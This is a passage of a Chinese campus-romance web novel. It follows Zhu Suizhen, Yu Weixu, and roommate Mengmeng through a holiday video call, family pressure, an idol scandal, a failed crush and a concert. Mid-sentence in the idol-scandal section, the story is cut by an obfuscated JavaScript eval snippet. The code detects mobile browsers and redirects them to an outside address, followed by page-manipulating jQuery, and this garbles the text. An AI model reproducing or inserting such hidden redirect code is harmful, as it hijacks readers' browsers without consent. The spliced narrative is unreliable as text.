俞惟叙见屏幕上昏黄的灯光照着她半张脸,另外半张埋在枕头里,一种奇异的感觉涌上心头,仿佛她跟自己同床共枕、在被窝里聊天。 “原来你刚睡醒的时候,双眼皮这么宽。” 祝岁祯揉了揉眼:“应该是肿了,一会儿会消下去。你这是在哪里啊?什么店吗?” 俞惟叙走动起来:“对,卖澳洲伴手礼的店,刚才发现了个神奇的东西,觉得必须要给你看看。” 说着,他调整手机的角度,露出半张脸的同时拍到背后的货架。 “看到了吗?这些挂件。” 一排排形状圆润,颜色大约是浅卡其色或者深米色的毛绒挂件摆在上面,实在看不出是什么。 见祝岁祯认真地在猜,俞惟叙努力憋笑:“先提示一下,这是用袋鼠皮做的,澳洲袋鼠比人多,政府会捕杀掉一部分防止泛滥。” 她傻眼:“袋鼠皮吗?呃……用来装小首饰的?” 俞惟叙露出一抹神秘的笑:“算了,你肯定猜不到。这就是个挂件,不用来装东西。造型是袋鼠的蛋蛋,嗯,就是那个蛋蛋。” “蛋蛋?”祝岁祯疑惑,“袋鼠是生蛋的吗?” 她见他笑得有点儿坏,突然明白了:“啊!你!你好无聊啊俞惟叙!” 听筒里传来他爽朗的大笑,祝岁祯气呼呼地翻个白眼。 俞惟叙开心了,继续逗她:“你要吗?我送你一个……” 祝岁祯咬牙切齿:“我有病啊我要这玩意儿干嘛!” 俞惟叙太喜欢她炸毛了:“哎,我告诉你,袋鼠的蛋蛋在澳洲是有招财寓意的!” “招财?”祝岁祯愣了,“骗我的吧。” “哈哈哈你看看你,一说招财就上心了。确实是这样的,可以去查一查。” 祝岁祯被他戳破,多少有点尬:“就算招财,那也是在澳洲,中国人还是要拜财神爷的。” 俞惟叙走了两步,指着墙上挂着的一排棍子:“那你要这个吗?袋鼠的爪子,痒痒挠。” 祝岁祯真是服了:“是不是袋鼠全身都被做成工艺品了?好可怕。” 俞惟叙转动手机画面:“还有袋鼠皮的包包和帽子,要吗,挑几样我买给你。” 她赶紧拒绝:“不要不要,就让它们鼠在老家吧,不然感觉梦里会被一脚踹飞。” 俞惟叙只好走出店门,外面阳光刺眼,悉尼现在是中午,日光正盛。 她好奇问道:“这是你们住的地方附近吗?” 俞惟叙一边带墨镜一边说:“不是,我们住Bellevue Hill的别墅,没有这种纪念品店。我开车出来到游客多的地方才看到的。” “你们家在国外的话,还会过春节吗?” “就是普通的聚餐,没有跟着国内的习俗走。” “哦哦。你吃中午饭了吗?” 俞惟叙拉开车门坐了进去:“正准备去跟两个中学时候的学长吃饭。他们现在大学毕业了,在自己家的企业工作。” 他一边开车,一边和祝岁祯闲聊。 因为刚才祝岁祯爸爸叫她起床吃饭,俞惟叙问她家谁做饭,祝岁祯说爸妈谁有空谁做,一半一半吧。 然后她问俞惟叙家是不是像电视里一样,十来个佣人管家什么的伺候着。 俞惟叙告诉她并不是。 然后说他家三个人平时在金融街那套大平层住,家里只有一个跟了十几年的陈姓住家阿姨帮忙。 关理之非常注重隐私,不喜欢家里来外人,陈姨如果请假了,宁愿俞况来做饭、点外卖也不喜欢临时请人干活。也是因为平层相对别墅好打理,所以他们一家才住在这套小房子里。 朝阳那套大别墅也就关理之要请客的时候才去,提前请团队去清洁维护。家里早年间还买过别的房子,后来房价涨了之后就陆续卖掉了。俞惟叙家在北京留的房子不多。 俞况自己有一套参加工作时分的小三居,但几乎不住。之前有学生工作之后手头紧,他还让学生在那里过渡了一年。 俞惟叙到了餐厅在找车位,祝岁祯老爸又来催她吃饭,两人互道一声“春节快乐”,就挂了电话。 -.- 初二上午,甄念骑着小电驴,脚踏板上放两箱牛奶,祝岁祯窝在后座上戴着口罩,手里拎了两袋吃的,母女俩去外婆家。 下午,老爸从奶奶家回来,在外婆家坐了一会儿。晚上三人回去,因为只有一辆小电驴,祝金爀让祝岁祯自己骑回家,他俩坐公交。 甄念看祝金爀表情不太好,问他怎么了。祝金爀强颜欢笑了半下午,这会儿终于忍不住了,和老婆抱怨起来。 因为大哥祝金显厂子车子房子都卖了,为还赔偿款以及处理退货等各种乱七八糟的事,现住在祝岁祯奶奶家,日常还得伸手管老人要钱过日子,奶奶的生活水平骤降。 但是老人居然把错都归在祝岁祯身上,说要不是祝岁祯一直拖拖拉拉不肯办事,她的宝贝大儿子怎么会被逼急了眼冲动打人? 总之就是把祝岁祯数落得极难听,说果然是以后要嫁出去的女孩,这么早就胳膊肘往外拐了。顺带着骂甄念,抱怨她生不了男孩。 祝金爀一肚子怨气,本身大哥这件事就不是普通人家能掺合进去的,人家观鱼都走司法程序了,祝金显不敢打官司只到处求人帮忙,不就是因为他知道自己的货有问题吗?自作孽却赖别人! 反倒是他家宝贝闺女,求人帮忙办事结果还害得同学被打了,她以后在学校可怎么混呢?后来听女儿说她哭着给人道歉,祝金爀这心里啊,真不是滋味。 甄念听完这些,反倒冷笑着说她就知道会这样,这么多年只有祝金爀自己还沉浸在母慈子孝里出不来,她都懒得理了。 人活着要天天为些蠢人蠢事烦恼,那这辈子真算完了。 与此同时,南半球的悉尼豪华别墅里,关理之从林家太太的朋友圈看到他们夫妻俩也来澳大利亚了,刚从墨尔本回悉尼。 所以俞惟叙第二天就被关理之叫走,和林家爸妈一起打高尔夫。 俞惟叙原本在这种生意局上游刃有余,但如今,因为关理之努力凑成两家的亲事,让他面对林家父母时开始不自在,甚至出现抵触情绪。 说到底,就是因为他心里已经有了一个女孩。 但他依旧带着得体的微笑和长辈们打招呼,关照着各种细节,还把自己的球杆借给林爸。 林爸来墨尔本并不是为度假,而是实地考察。他们原本打算直接飞新西兰,但临时计划有变,去了趟悉尼,这才和关理之碰上。 林妈看着又帅又高又体贴的俞惟叙,满意得不得了,说还是国内的学校好,春节孩子能放假陪陪爸妈。又聊起林期尔现在在申本校的硕士,忙得很,不过肯定是能申到的,家里也会帮她。 林爸建议俞惟叙也去美国读个研究生,他说他现在心态转变了,以前总想着让林期尔从康奈尔毕业就赶紧回来,这所学校已经够可以了,没必要再在学历上花功夫。 现在他又觉得年轻人多读点书比较好,该做什么的年纪就做什么,别太早挑家里的担子。 俞惟叙笑着点点头,说会认真考虑他的建议。 应付完林家爸妈,回别墅吃晚餐的时候,关理之突然让俞况今年开始帮俞惟叙申请MIT。 饭桌上老中青三代,三个男人,同时惊讶地看着关理之。 关理之的逻辑很简单,既然俞况就是MIT毕业的,虽然已经过去二十年了,但他多少有点人脉、对这所学校有些了解。 然而俞惟叙是有点逆反心理在的。 他本来确实想申硕士来着,但关理之一给他下命令,甚至还精确到了某个具体的学校,那他突然就不想去了。 他真的很烦关理之总是在安排他的人生。 人一辈子,剔除太小和太老的时间,能凭自己的意志活着的时候也就几十年,难道他要一直就这样,被关理之操控者读书、工作、结婚、生子? 虽然他不喜欢林期尔的性格,但不可否认,那女孩恣意享受、野蛮生长的状态让他十分羡慕。他活到现在被设置了太多枷锁。 人生苦短,及时行乐,做自己爱做的事、和自己喜欢的人在一起,哪怕第二天就死掉了,起码也少一份遗憾。 但被控制了二十年,要反抗谈何容易? 他没钱,也没有自己名下的资产,关理之可以轻易地收回给他的生活条件。而且他也不能在明面上和关理之闹掰,要考虑舆情影响,观鱼这么多员工指着公司吃饭生活。 所以,他忍了忍,很窝囊地说自己会考虑留学的事,但不一定能去MIT,让关理之不要期待过高。 对此,俞况也表示:我能把自己送进去,但咱儿子我可说不准。 -.- 假期结束,祝岁祯要坐高铁返京接着实习。和回家时不同,这次旁边多了一个人。 何希麓屁颠儿屁颠儿地帮她把小行李箱放在行李架上。 祝岁祯放下小桌板,将笔记本打开,念叨他:“你说你,又是何必呢,还有一个星期在家里待着不是很好吗?” 何希麓挂着略带讨好意味的笑:“我爸妈已经不像我刚回来时候那么爱我了……在家里也没法熬夜打游戏。祯祯姐你别嫌弃我,我不会打扰你工作的。” 祝岁祯等着开机的进程,瞥了眼他:“倒也不是嫌弃你,主要你有女朋友,再跟我一起待着就不太合适了。” 何希麓挑了挑眉:“现在挺合适的,我单身。” 祝岁祯不敢相信地看着他:“又分了?!” 他语气轻快,好像那不是他自己的事一样:“大小姐说人家毕业要去留学,非让我也申请。凭什么?让我去我就去?我是她的狗吗?” 祝岁祯不能理解:“留学多好啊,要是申请到名校的话,干嘛不去?” 何希麓问:“既然留学这么好,你为什么不去?” 她转头,浏览着桌面上密密麻麻的文件,已经不记得这些东西都是什么了。 “你这话问得,何不食肉糜啊!我家哪有那个闲钱。” “申奖学金嘛。” “那也不够,最好是把我衣食住行全都包了,顺便还能每月给我发钱。” “这很简单啊!” 祝岁祯正眯着眼看那些excel和word文件下的小字,听了这话,不可置信地转头看他:“啊?” 何希麓脸上挂着天真无邪的笑容,说出的话却像个无良黑商: “当我家儿媳妇,我爸妈供咱俩留学,每月还给零花钱!” 她刚听完前半句,就无语地拉着个脸,又回去看电脑屏幕了。 “哈哈哈哈祯祯姐你变脸变得真快,怎么了嘛,我的提议很有建设性啊,可操作性也很强!” 祝岁祯新建文件夹,开始整理桌面:“何希麓啊何希麓,我看你是飘了呀。这话要是让小学妹知道,回头等你俩又复合的时候,看她怎么收拾你吧。” 何希簏无所谓道:“祯祯姐啊祯祯姐,你好像对我有什么误解。我俩分手后,每次提复合的都是她。” 祝岁祯打字打到一半,停住。 他得意地说:“小弟不才,倒也有些许魅力,咱学校追我的女生可不少,韩芷玥要是不努力,就没她什么事了。” 祝岁祯没憋住,噗嗤一声笑了出来。 何希簏凑过来:“哎——我可真不是吹,不知道你听说过没,咱学校我的颜值排第二呢!第一是俞学长,我靠他长得确实顶……” 祝岁祯摆摆手让他离远点:“OK,OK,可以了。我会转达你对俞惟叙的欣赏。你的感情生活我就不多了解了,祝你幸福。” 旁边终于静下来了。 高铁行驶到一半,祝岁祯整理完文件、也做完了春节前剩下的工作,明天上班就可以直接交给May。 她盯着屏幕思考,节前May说过,节后就不去金融街了,换去国贸那边的项目,好像通勤时间又变长了呢…… 早高峰真是要命啊。晚上还好,苦逼的奥迪特们年审期间怎么可能赶得上晚高峰呢,坐上最后一班地铁都算回得早了…… “祯祯姐,玩会儿手机休息下吧。” 祝岁祯被打断思绪,无语地从兜里掏手机:“你听听,你这叫什么话?人家都是劝人起来活动活动、望望窗外。你倒好,让人玩手机……” “嘿嘿嘿……”何希麓期待地笑着。 她一看他这模样,就知道他没憋什么好屁。想了想,直接打开朋友圈。 第三个动态就是他,四十分钟前发的,举着手机对镜头比耶,身后是祝岁祯,正艰难在小桌板上用着快捷键和鼠标做底稿。 文案:【和卷王工作狂一起打道回校。会计事务所真可怕。】 动态下面好几个熟人赞了他,包括鸡哥和箫剑,上次吃饭的时候加了好友。 有共友在下面评论: 【祝岁祯?老弟你又偷偷幸福了啊】 【你俩回这么早!】 【你俩颜值对我眼睛很好,多发,爱看】 …… 祝岁祯翻完评论,叹了口气,继续看电脑。 “以后发我的照片,要提前跟我说。” 何希簏笑嘻嘻地道歉,看起来根本不走心。 两人拉着行李箱回校,在宿舍下分开,约好收拾完行李一起去食堂吃饭。祝岁祯推开宿舍门的时候,惊呆了。 梦梦居然在宿舍。而她床下,满地狼藉。 她老公的各种小卡周边扔了一地,旁边两个大行李箱乱七八糟地打开着。 祝岁祯把箱子拉进来,问她:“你怎么也回来这么早?哎不对……你从美国回来的?” 梦梦有气无力地嗯了一声。 祝岁祯把东西放下,过去抓着栏杆看了她一眼。 “我去!……你咋啦?” 梦梦眼神涣散,似乎生了场重病一样。 祝岁祯伸手摸她的头,倒也不发烧。 “塌了……” 祝岁祯没听明白:“啥?” 梦梦声音嘶哑:“塌房。” “呃……”祝岁祯不知道该说什么。 其实梦梦有几次跟她提过,如果她发现自家爱豆塌房,一定会脱粉狠狠回踩,来报复他辜负粉丝们的真心。 看现在这样子,她好像还没来得及回踩,先把自己给伤透了。 祝岁祯看了眼她:“你是不是好久没喝水了?我看你嘴唇都起皮了。” 梦梦不说话,好像已经没力气了似的。 她拿起梦梦的杯子,去水房接了温水,回来捧给她:“宝,喝点水吧,别用他的错惩罚自己,不值得。” 梦梦缓缓起身,似乎比刚放假时又瘦了。抱着杯子咕咚咕咚灌了下去,又向祝岁祯要了一杯。 祝岁祯心疼地看着她。这是有多渴啊,唉。 喝完第二杯,她眼睛又红了:“我恨他……我想弄死他……” “到底是咋塌的呀,能让你这么生气?” 梦梦讲了事情的经过,堪称drama。 她粉的男团1-2月有美洲巡演,就在巡演进行到一半的时候,突然一个知名外国大粉A,因为和另一个大粉丝抢演唱会饭撒,为了昭告天下自己“正宫”的身份,上传了她和团里一名成员B的床照…… 而被爆的爱豆B和梦梦粉的爱豆C是队内好友,俩人在首尔住同一间宿舍,关系好到穿同一条裤子。 刚开始粉丝们都还没反应过来,大家以各种角度来论证照片里的不可能是自家爱豆。 因为受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352494|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多质疑、辱骂和嘲笑,粉丝A心态崩了愤怒升级,发布了第二张重磅照片。 这次居然是四人床照,粉丝A和她的闺密E、爱豆B和梦梦的老公爱豆C,两对男女睡在一起…… 不说自家团的粉丝了,就连别家粉丝见了都要感叹离谱。 照片里能看出来,俩爱豆居然吭哧吭哧地把酒店房间的两张床并在了一起……好兄弟和好姐妹为了搞点重口味也是蛮拼的。 有几个粉丝姐姐经验丰富,粉过好几个爱豆,红了的、糊了的都有,各种奇葩的事也见过经历过,私下跟梦梦说,让她做好准备。 梦梦痛苦地回忆着自己是怎么强忍着崩溃,一边刷团和粉丝们乱七八糟的动态、一边看怎么改签机酒。 最终还是锤了。 梦梦看到消息的一瞬间,有种解脱的轻松,她已经预想了各种坏结果,提着的心、吊着的胆,终于可以彻底死掉了,扔进万丈深渊。 她在自己的追星账号上发表了声明:无限期停更。 回国的飞机上,她看着飞机渐渐没入云层,眼泪唰地一下掉下来。 她再也不想来美国了。 祝岁祯沉默而专注地听着,心里五味杂陈。 “我以为我能潇洒地忘掉他、或者装作无事发生继续喜欢他,但我发现我做不到。” 梦梦的声音里全是痛苦:“我好讨厌现在的自己,糟糕又狼狈,没有一点体面。” 祝岁祯明明不追星,却在听到她带着哭腔的尾音时,眼睛莫名地有些发热。 “那是因为你太爱了,没关系,慢慢会好起来的。” 祝岁祯和梦梦都心情不大好的时候,祝岁祯手机突然响了一下。 何希簏:【我收拾完了,咱什么时候去吃饭?】 哎呀,把这事给忘了。 祝岁祯看了眼还扔在原地的行李箱和背包,又看了眼梦梦,回何希簏: 【梦梦也回宿舍了,她心情不好,我陪她一会儿,你要是饿了就自己先去吃吧,抱歉】 何希簏:【没事,她也得吃饭吧?咱仨一起,我等着你们】 祝岁祯想起梦梦跟何希簏关系不错,琢磨着要不然把梦梦带上出去吃饭,老在床上躺着也不是个事。 “梦梦,你饿不饿,今天吃饭了吗?” “不饿,没吃……” 祝岁祯怒道:“你!怎么能不吃饭呢!人家爱豆谈着恋爱、吃着高级餐、喝着高级酒的时候,你在绝食吗?” 梦梦痛苦地捂着脸:“别说了……” 祝岁祯非要把她带出去吃饭,梦梦还在做无谓的抵抗:“我不去……除非有帅哥……” 祝岁祯双手叉腰:“何希簏算吗?” “嗯?他回学校了?” “对。你现在起床洗漱,跟我去吃饭,他会等着你。” 梦梦眼里好像有了点光:“行吧……看在帅哥的份上……” 下楼的时候,梦梦还是很悲伤地哼哼唧唧,说帅哥也不能让她的心情变好,因为人家有女朋友,她看到何希簏会想起那俩睡了爱豆的粉丝。 祝岁祯告诉梦梦何希簏跟学妹分手了的时候,梦梦跟回光返照了似的。 打开宿舍大门,何希麓换了身衣服已经站在门口,看见祝岁祯的时候笑了笑,随后转头说: “梦姐怎么了?谁惹你生气了?” 祝岁祯担心地看向梦梦,怕她又难过。谁知梦梦的反应倒还好。 “塌房了,怎么样,要嘲笑我吗?” “我哪儿敢呐梦姐,塌房咱就换,爱豆遍地都是。我还以为发生什么惊天动地的大事了呢。” 梦梦一拍他肩膀:“听说你恢复单身了?” 何希麓看了眼祝岁祯:“对啊,目前处于单身可撩的状态。” 梦梦捏了捏他肩膀:“那行,走,去喝酒。” 何希麓爽快道:“走!” 祝岁祯着急了:“哎哎——喝什么酒,不吃饭啊你俩?” 但这俩人非要去,她劝不动,只能跟着去照顾梦梦。 三人朝华清商务会馆走去,里面有个梦梦之前拍vlog测评过的酒吧。 祝岁祯知道梦梦的心思,于是让他俩坐在一起,她挨着梦梦坐。 他俩一边喝酒,一边聊感情,祝岁祯默默地吃小食。梦梦说到激动处哗哗流眼泪,何希麓安慰她,告诉她在感情中不要陷太深。 梦梦喝了三杯高度数的酒,出来时靠在何希簏身上晕乎乎地走着。 祝岁祯虽然知道梦梦可能是装的,但也不敢离她太远,仍旧跟在两人身后当电灯泡。安全最重要了。 从学校西门进去,祝岁祯带他俩从家属区抄近道,但竟然刚好撞上准备去开车的俞惟叙。 他看到这三人的配置,疑惑道:“你们这是……” “我们去酒吧啦~”梦梦心情大好,扶着何希麓开心地回道。 俞惟叙神色微变,转眼打量祝岁祯:“你喝酒了?” “没有没有,我没喝,喝不了一点儿。你也回来了啊。” 俞惟叙在她说话时走近了些,面对面站着,没闻到酒味。 “刚到,我来取个硬盘。你什么时候回来的?” “我也今下午到。明天得回去实习。” “还在金融街?” “不是,金融街的现场结束了,明天去国贸,或者可能回所里,反正都在那一片儿。” 俞惟叙点点头:“就剩一个星期了吧?加油。开学还实习吗?” “不了,我签的实习期就是假期结束那一天。” 俞惟叙看向梦梦:“她喝醉了?用我帮忙吗?” 何希簏看了眼祝岁祯,必然不能让她觉得自己连个女生都照顾不了,连忙揽住梦梦往自己这边带了带:“不用不用,我能应付得了。” 俞惟叙也只是看在祝岁祯的面子上客气一下,转头对她说:“快带她回去休息吧,别在外面冻着了。” 几人道了别,祝岁祯心情不错地回宿舍,没想到抄个近路居然恰巧能见俞惟叙一面。 何希簏问她俞惟叙的事,祝岁祯说他可是个大忙人,上课都是次要的日程了,每逢长一些的节假日就飞去广州盯研发。 听他舍友说,他好像自己还在写什么论文,跟着他之前牛津的导师,整天神龙见首不见尾的。 三人到宿舍下分开,刚进大门,梦梦就不装了。 祝岁祯就知道她酒量不至于差成这样。 梦梦胳膊搭在她肩膀搂着她说悄悄话:“你觉得,我要是追他的话,胜算大不?” 祝岁祯有些艰难地笑笑,舍友果然动这个心思了。 她直觉上不看好何希簏,这个人对女朋友态度很差。但理智告诉她,或许他对梦梦会不一样,梦梦又挺喜欢他的。 梦梦带着些羞涩:“你估计没看见,你和鱼仔聊天的时候,我故意装醉抱他,他反手抱住我了哎!” 两人转过拐角继续往上爬楼梯,梦梦开心地回忆:“而且鱼仔不是说要帮忙吗?他立刻就又抱住我了,说他自己可以。哇……超man的!完了祯祯,我要爱上他了……” 祝岁祯也是很久没见过梦梦露出这种悸动的表情了,完全不是出门时那个半死不活的样子。 或许何希簏能取代她的爱豆,让她重新恢复快乐的生活状态呢?祝岁祯心想。 与此同时,梦梦也想到了这一层,缠着闹着让祝岁祯牵线搭桥,想拿下何希簏。 祝岁祯头疼地接下了任务,为了舍友的幸福,她只能赶鸭子上架。 梦梦怕表白太早,何希簏对她还没什么感觉,于是决定让祝岁祯约他出来吃几顿饭,增进了解。 因为祝岁祯在国贸附近实习,梦梦就找了周围比较高档的餐厅,请俩人吃了三顿饭。祝岁祯忙得要死但还得抽出时间陪他们,别提多辛苦了。 周五下午祝岁祯办完离职手续,终于不用再加班了,三人去五道口购物中心吃饭看电影。 临出发前,祝岁祯很有眼色地突然“肚子痛”去不了,给他俩创造独处空间。 但梦梦回来后,居然说她没勇气表白,觉得自己作为学姐,有点不好意思。 虽然没能表白,但何希簏回来后发了朋友圈,照片都是三人在国贸吃饭的合影,看着似乎对梦梦组的饭局很满意。 第二天,祝岁祯为开学做准备, 梦梦从早上睁眼开始,就刷遍了所有的塔罗占卜,测这段恋情能不能成、Yes or No,还开着外放。 祝岁祯被迫听了些,上个视频还说能成呢,下个又说不行了,梦梦的心情跟过山车一样,一会儿开心、一会儿又抱着祝岁祯哭嚎。 见不得她这样,祝岁祯一把拿起手机就要问何希簏到底是怎么想的。但梦梦冲过来阻止:“Lucy肯定又通宵打游戏了,这会儿估计睡得正香,别把他吵醒了。” 祝岁祯:…… 完了,这个舍友没救了。 天色渐暗,梦梦还在纠结要不要主动约何希簏出来,祝岁祯只好和另外俩舍友一起去食堂。 吃完饭,快走到宿舍区的时候,迎面撞上让她仨大跌眼镜的一幕。 韩芷玥挽着何希簏胳膊,俩人有说有笑,似乎要去什么地方。 小羊喃喃道:“我特么真是……日了狗……” 韩芷玥不经意间看到祝岁祯,立刻跟何希簏贴得更近,甜甜地喊了一声:“学姐们好~” 祝岁祯连忙把快惊掉的下巴安回去,镇定微笑:“晚上好,你俩这是……又在一起了?” 何希簏脸上带着三分尴尬,扯了扯嘴角笑笑:“嗯。” 韩芷玥头歪靠在何希簏肩旁,娇媚又可爱:“对啊,今天复合啦,我们晚上要去国贸的瑰丽酒店住一晚庆祝。” “啊……挺好挺好……” “哦对了,谢谢学姐前些日子照顾我男朋友,还请他吃饭,真是破费了。” 祝岁祯愣住,看了眼何希簏:“我没请他吃饭,是我舍友请的。” 韩芷玥耸了下肩:“没关系啦,都一样。我们先走了,学姐拜拜~” “哦,好,拜拜……” 三人沉默地走了段路,互相对视一眼,齐齐说了两个字: “卧槽……” 祝岁祯:“我觉得我应该趁夜黑风高的时候,给何希簏套个麻袋爆揍一顿。” 小羊突然想起什么:“坏了,赶紧拦住梦梦,她不是想表白吗!” 祝岁祯紧急给梦梦打电话,知道她还没约他,三人都松了口气。不能让她恋爱没谈到,先在学妹那里把面子给丢了。 回到宿舍,三人怀着沉重的心情,向梦梦讲述了这一噩耗,尽管已经很小心了,梦梦还是被打击得有些悲痛。 “我昨晚要是勇敢一点……或者今天早些约他,是不是结果会不一样……” 宿舍三人都劝她:既然他俩能一天之内就复合,多半还是余情未了,梦梦这时候想拿下何希簏概率不大。 梦梦快哭了,说既然如此,何希簏干嘛还在她装醉的时候抱她。 对此很有阅历的小羊发表重要讲话:男人嘛,就是不老实,有段时间没谈恋爱,自然就对投怀送抱的美女心猿意马。 远文说她曾经见过小学妹两次,身材那是相当不错,胸真的非常大。何希簏几次复合大概也是馋人家身子。 梦梦连受两次打击,实在是累了。 三月的第一天,凌晨00:00,梦梦在她经营了许久的、积累了无数酸甜苦辣回忆的追星账号下,发布了彻底的脱粉声明。 然后,她一边流着泪,一边彻夜剪辑美国之行的vlog,删掉了所有追巡演相关内容,只保留最纯粹的旅行。 毕竟她还有一个广告在排期,没了爱情,但起码先把钱挣到。女人,还是要搞事业啊。 42.第四十二章 梦梦的视频上传后,新学期的第一天也来了。太阳照常升起,学生们日复一日上课下课,时间脚步匆匆,不会为任何人、任何事停留。 开学后,俞惟叙明显翘了不少课,不知道在忙什么。 有次学院大课上课前,俩宿舍坐一起聊天,他舍友说俞惟叙一边盯家里的工作、一边在准备数学竞赛的决赛,好像只剩一个月了。 箫剑说上周他有事发消息给俞惟叙,结果几个小时后才有回复。鱼仔说在柏林跟着之前的导师参加一个论坛,因为有时差,早上刚醒…… 祝岁祯算是看明白了,只要超过三天没见到俞惟叙,此人大概率就会刷新坐标,随机出现在地球上的任何一个角落。 祝岁祯也受俞惟叙影响,开始关注一些总部在北京的互联网大厂,考虑着暑假投大厂的实习。 现在人工智能太火了,虽然祝岁祯不是专业学计算机的,但也想去稍微感受一下。 正好二月底到三月这期间,各家大厂都开始春招和暑期实习的投递流程,祝岁祯除了应付功课之外,就忙着投实习。同时从各种渠道了解互联网大厂都在干什么、投递的职位需要哪些专业知识,把自己的时间排得满满当当。 3月底的周六,著名的爱乐乐团来M大报告厅演出,学校官方号从一开学就在宣传。 祝岁祯宿舍全都报名了,结果因为活动太火爆,宿舍没一个人被抽中名额。 然而在活动举办前的周三,又放出来少量名额进行了第二次抽选,这次很少人知道,祝岁祯又报名,终于被抽到了。 金融经济学的课间,她拿着手机跟舍友们炫耀自己中选的通知,引来两个宿舍羡慕的眼神。 俞惟叙勾了勾手,示意她把手机给他。他接过后看了看这个活动的详细介绍,没说什么,又把手机还她。 周六下午祝岁祯吃完饭要去音乐厅,突然何希簏给她发消息,问她是不是要准备出发去听音乐会。 祝岁祯惊了,问他怎么知道。 何希簏和她约在报告厅旁边新开的M大文创店见面,两人一起朝验证二维码入场的门口走去。 何希簏悄悄说,他认识管这次音乐会二次抽选的同学,那同学告诉他祝岁祯报名了。何希簏让对方暗箱操作,把祝岁祯提前从抽选名单里拎出来。 祝岁祯无语:我谢谢您嘞……还以为自己是个lucky girl呢。 好座位先到先得,俩人去得早,挑了第四排还算靠中间的位置,何希簏很自然地挨着她坐下。 祝岁祯没办法赶他走,不管怎么说,也是托了他的关系才有票的。只好聊几句近况之后借口自己有个视频想看,掏出耳机,让他快开场时帮忙提醒一下。 离开场还有五分钟的时候,祝岁祯手机上弹出俞惟叙的消息,问她坐哪里。 祝岁祯眼都瞪大了。 她正打字,俞惟叙的消息又来了: 【我让人多占了个座,第一排中间那个空的就是,来吗?】 祝岁祯唰地一下,伸长了脖子往第一排中间看。何希簏正准备提醒她快开场,被她的动作吓一跳。 “找什么呢?” 祝岁祯确实看到一个空位,空位左边那颗头一看就是俞惟叙。她半点没犹豫,立刻发消息。 祝岁祯:【看到了,我马上过去!】 她发完消息收拾耳机,对何希簏说:“同学帮忙占位置了,我去第一排坐,拜~” “哎……不是……” 何希簏眼睁睁看着她拿着书包出去,快速走到第一排正中间,弯腰坐下后和旁边一个男生打招呼。 是俞惟叙学长。 他又看了看祝岁祯右边的座位,那个人是校艺术团的小提琴手,也是他隔壁宿舍的同学。 他迅速掏出手机发消息。 -.- 祝岁祯和俞惟叙道谢后,看着近在迟尺的舞台叹道:“哇,这位置,太赞了!和坐在我脸上吹拉弹唱有什么区别。” 俞惟叙指了指旁边:“朋友帮忙占的座。” 祝岁祯隔着他对那个男生笑道:“谢谢你啦。” 那男生紧张道:“不用谢不用谢……你就是祝岁祯学姐啊,我能加你个好友吗?我是管理学院的。” 祝岁祯爽快地掏手机:“好啊,管院的?什么专业呀?” “财务管理。我扫你。” “哦哦,财管啊,挺好挺好。” 俞惟叙看着两人热络地加好友聊天,有些淡淡的不爽,但他没说什么。 随后,他的视线被另一个人吸引,眉头微微皱了起来。 何希簏走过来,满脸歉意地对祝岁祯右座那个男生笑着。 那男生站起来锤了何希簏一拳,揶揄地笑道:“你给爸爸记着!” 何希簏推他:“哎呀知道了赶紧走,快开始了。” 祝岁祯听见动静,也抬起头,惊讶地看着他俩换座位。 “哈喽,祯祯姐,又见面了。”何希簏眼里闪着狡黠的光,随后又和俞惟叙打招呼:“俞学长好。” 祝岁祯不解地问:“你怎么来了?刚才那位置不是挺好的吗?” 何希簏撇了撇嘴:“挺好的座位?那你为什么不坐,要换到这里?” 他没好气道:“亏我还帮你……” 他赶快闭嘴,没敢说出帮她暗地里拿名额的事,周围都是学生,被听到就麻烦了。 “明明是一起来的,你居然要抛下我,哼,坏祯姐。”何希簏气呼呼的,抱着胳膊看向舞台。 俞惟叙面无表情地看着何希簏生气撒娇,拳头攥得死紧。 祝岁祯理亏:“呃,我这不是,只拿到一个位置嘛,要有俩的话肯定就带你一起了呵呵……” 这时,有演奏者开始上场,祝岁祯转头看舞台。人陆陆续续上来一半的时候,她左边胳膊被人碰了碰。 祝岁祯低头一看,俞惟叙拿瓶椰子水递给她。 祝岁祯开心地接过来:“给我的吗?谢谢啦。” 她正要拧开,何希簏突然伸手过来阻止。 祝岁祯不解:“嗯?干嘛?咱学校音乐厅可以喝水的。” 俞惟叙也看着何希簏。 何希簏张了张嘴,不知道该怎么说,指了指她的肚子。 “啥啊?”祝岁祯依旧不懂。 何希簏叹了口气,担心别人听到,拿出手机快速打了几个字。 【生理期不要喝凉的!】 祝岁祯看到他发来的消息时,又囧又无奈。 她生理期根本不在这几天好吗!上次是为了给他和梦梦创造二人世界,才借口肚子疼,梦梦跟他解释说舍友来姨妈了。 谁知道这傻小孩还记住了……记这玩意儿干啥啊! 祝岁祯心想,看来韩芷玥调教得不错。以前她不理解何希簏和韩芷玥为什么总分不掉,现在她才发现,自己或许根本不懂这俩人的相处模式。 她放下手机,懒得解释,拧开瓶盖喝了一大口。 何希簏看着她,那眼神分明在说:你啊你,待会儿肚子又要疼了。 俞惟叙悄无声息地看着这俩人的眼神动作,满头雾水。 他也不多问,直接把她还没锁屏的手机拿过来,迅速看了眼上面的字,被【生理期】三字刺痛了眼睛。 他面上不显,咬着后槽牙把手机又放回去,眼神凌厉地盯着面前舞台。 连生理期都知道,你俩真是好得很! 此时总指挥上台,全场响起掌声,大家纷纷拿出手机拍照。广播最后一次提示手机关闭声音和闪光灯,避免影响台上演奏和观众体验。 台上演奏家们在做演出前最后的调试和准备,祝岁祯突然想起什么,从包里拿出刚才在文创店里买的吧唧,和椰子水差不多价格。 她看向俞惟叙,俞惟叙余光瞥见旁边动作,面色不虞地转头。 祝岁祯见他似乎不怎么高兴,以为自己打扰他看演出了,犹犹豫豫地伸手,递给他徽章。 俞惟叙从她手心里拿过来,正反翻着看了看。 祝岁祯摇了摇椰子水,俞惟叙懂了,还礼。 他心情稍好地笑了笑,收下了。 乐章奏起,祝岁祯虽然听不太懂,但这种近距离观察演奏的体验倒也蛮新奇。 